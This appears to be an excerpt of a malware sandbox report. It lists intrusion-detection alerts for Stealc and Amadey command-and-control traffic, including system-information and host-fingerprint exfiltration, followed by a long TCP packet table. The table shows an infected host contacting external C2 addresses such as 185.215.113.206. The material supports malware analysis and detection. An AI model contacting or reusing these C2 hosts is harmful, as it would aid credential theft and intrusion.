2024-11-28T11:05:05.032226+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49702	185.215.113.206	80	TCP
2024-11-28T11:05:05.725971+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49702	185.215.113.206	80	TCP
2024-11-28T11:05:28.149606+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49782	185.215.113.206	80	TCP
2024-11-28T11:05:30.106096+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49782	185.215.113.206	80	TCP
2024-11-28T11:05:31.455399+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49782	185.215.113.206	80	TCP
2024-11-28T11:05:32.586168+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49782	185.215.113.206	80	TCP
2024-11-28T11:05:36.211924+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49782	185.215.113.206	80	TCP
2024-11-28T11:05:37.420424+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49782	185.215.113.206	80	TCP
2024-11-28T11:05:43.114891+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49915	185.215.113.16	80	TCP
2024-11-28T11:06:41.313586+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	65450	185.215.113.43	80	TCP
2024-11-28T11:06:46.854787+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	65466	31.41.244.11	80	TCP
2024-11-28T11:06:56.266570+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	65460	TCP
2024-11-28T11:06:57.661262+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	65490	185.215.113.43	80	TCP
2024-11-28T11:06:59.241237+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	65493	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 11:04:49.759900093 CET	49674	443	192.168.2.7	104.98.116.138
Nov 28, 2024 11:04:49.765768051 CET	49675	443	192.168.2.7	104.98.116.138
Nov 28, 2024 11:04:49.916132927 CET	49672	443	192.168.2.7	104.98.116.138
Nov 28, 2024 11:04:54.447854042 CET	49677	443	192.168.2.7	20.50.201.200
Nov 28, 2024 11:04:54.837955952 CET	49677	443	192.168.2.7	20.50.201.200
Nov 28, 2024 11:04:55.593796968 CET	49677	443	192.168.2.7	20.50.201.200
Nov 28, 2024 11:04:57.134879112 CET	49677	443	192.168.2.7	20.50.201.200
Nov 28, 2024 11:04:59.525880098 CET	49674	443	192.168.2.7	104.98.116.138
Nov 28, 2024 11:04:59.525898933 CET	49675	443	192.168.2.7	104.98.116.138
Nov 28, 2024 11:04:59.588057995 CET	49672	443	192.168.2.7	104.98.116.138
Nov 28, 2024 11:04:59.854773998 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:04:59.854834080 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:04:59.854921103 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:04:59.861778021 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:04:59.861820936 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:00.134916067 CET	49677	443	192.168.2.7	20.50.201.200
Nov 28, 2024 11:05:00.362999916 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:00.484006882 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:00.484093904 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:00.484982967 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:00.604974985 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:01.650836945 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:01.650927067 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:01.654598951 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:01.654617071 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:01.654902935 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:01.663832903 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:01.711330891 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:01.814872026 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:01.814959049 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:01.817763090 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:01.937681913 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:02.135891914 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.135984898 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.136054039 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.136060953 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.136089087 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.136109114 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.136143923 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.280951023 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:02.285235882 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:02.286262035 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:02.322257996 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.322289944 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.322427034 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.322462082 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.325601101 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.358103037 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.358129978 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.358212948 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.358241081 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.361860037 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.406147003 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:02.496838093 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.496866941 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.496978998 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.497020006 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.500673056 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.525204897 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.525227070 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.525330067 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.525362968 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.529530048 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.547175884 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.547208071 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.547283888 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.547332048 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.549810886 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.567188025 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.567222118 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.567300081 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.567337990 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.569820881 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.627393007 CET	443	49700	104.98.116.138	192.168.2.7
Nov 28, 2024 11:05:02.628046036 CET	49700	443	192.168.2.7	104.98.116.138
Nov 28, 2024 11:05:02.697706938 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.697741985 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.697834015 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.697873116 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.697890997 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.697911024 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.710639000 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.710664988 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.710762978 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.710788012 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.711854935 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.725589991 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.725621939 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.725694895 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.725711107 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.725744963 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.725773096 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.726141930 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:02.726202965 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:02.726217985 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:02.726258993 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:02.740603924 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.740632057 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.740694046 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.740711927 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.740741014 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.740772963 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.753176928 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:02.753537893 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.753567934 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.753606081 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.753622055 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.753647089 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.753662109 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.769754887 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.769782066 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.769836903 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.769850016 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.769876957 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.769898891 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.774708033 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.774776936 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.774785995 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.774800062 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.774823904 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.774853945 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.774873018 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.774873018 CET	49701	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:02.774883032 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.774888992 CET	443	49701	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:02.873151064 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:03.193161964 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:03.193200111 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:03.193212986 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:03.193227053 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:03.193242073 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:03.193254948 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:03.193280935 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:03.193331003 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:03.602842093 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:03.698367119 CET	49703	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:03.698430061 CET	443	49703	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:03.698492050 CET	49703	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:03.699206114 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:03.699246883 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:03.699333906 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:03.699426889 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:03.699460983 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:03.699517965 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:03.700510979 CET	49706	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:03.700527906 CET	443	49706	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:03.700581074 CET	49706	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:03.700675011 CET	49707	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:03.700683117 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:03.700731993 CET	49707	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:03.700779915 CET	49703	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:03.700802088 CET	443	49703	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:03.700865984 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:03.700876951 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:03.700901985 CET	49707	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:03.700917006 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:03.701225996 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:03.701236010 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:03.701365948 CET	49706	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:03.701379061 CET	443	49706	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:03.723010063 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:04.042171955 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:04.045562983 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:04.065912008 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:04.065967083 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:04.186083078 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:04.186100960 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:04.186115980 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:04.186136961 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:04.186276913 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:04.186332941 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:04.186345100 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.029467106 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.032226086 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.287560940 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.407614946 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.481400967 CET	443	49703	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.483376980 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.485207081 CET	443	49706	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.487070084 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.491815090 CET	49703	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.491863966 CET	443	49703	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.492091894 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.492115974 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.492404938 CET	49703	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.492413044 CET	443	49703	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.492487907 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.492497921 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.492666006 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.492685080 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.492791891 CET	49706	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.492799997 CET	443	49706	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.493057013 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.493062973 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.493223906 CET	49706	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.493230104 CET	443	49706	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.547193050 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.547669888 CET	49707	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.547682047 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.548124075 CET	49707	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.548127890 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.725862980 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.725907087 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.725970984 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.726006031 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.729964018 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.730030060 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.730030060 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.730068922 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.738204002 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.738286972 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.738297939 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.738331079 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.746139050 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.746212959 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.746237040 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.746274948 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.754487038 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.754538059 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.754576921 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.754576921 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.763067961 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.763153076 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.763488054 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.763530016 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.850060940 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.850127935 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.850186110 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.850224018 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.854228020 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.854276896 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.854342937 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.854382038 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.862719059 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.862767935 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.862802029 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.862839937 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.871093988 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.871146917 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.871181965 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.871218920 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.879458904 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.879508972 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.917141914 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.917210102 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.917248964 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.917273998 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.921199083 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.921262026 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.921328068 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.921375036 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.929724932 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.929794073 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.930386066 CET	443	49706	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.930450916 CET	443	49706	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.930510044 CET	49706	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.930813074 CET	443	49703	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.930845022 CET	443	49703	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.930900097 CET	49703	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.930982113 CET	443	49703	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.931030989 CET	49703	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.932442904 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.932471037 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.932559013 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.932564020 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.932573080 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.932610035 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.932698965 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.932744980 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.933203936 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.933295965 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.934878111 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.934905052 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.934961081 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.934981108 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.935045958 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.937025070 CET	443	49703	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.937083960 CET	443	49703	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.937146902 CET	49703	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.938366890 CET	49706	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.938375950 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.938380957 CET	443	49706	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.938424110 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.938496113 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.941087008 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.941133976 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.941138029 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.941171885 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.943233013 CET	49708	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.943275928 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.943331957 CET	49708	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.943548918 CET	49703	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.943550110 CET	49703	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.943629026 CET	443	49703	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.943660975 CET	443	49703	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.945702076 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.945702076 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.945720911 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.945730925 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.946122885 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.946122885 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.946151972 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.946161985 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.947803020 CET	49708	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.947828054 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.949410915 CET	49709	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.949455976 CET	443	49709	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.949465990 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.949517012 CET	49709	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.949579954 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.949610949 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.949630022 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.949845076 CET	49709	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.949856043 CET	443	49709	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.951622963 CET	49710	443	192.168.2.7	13.107.246.63
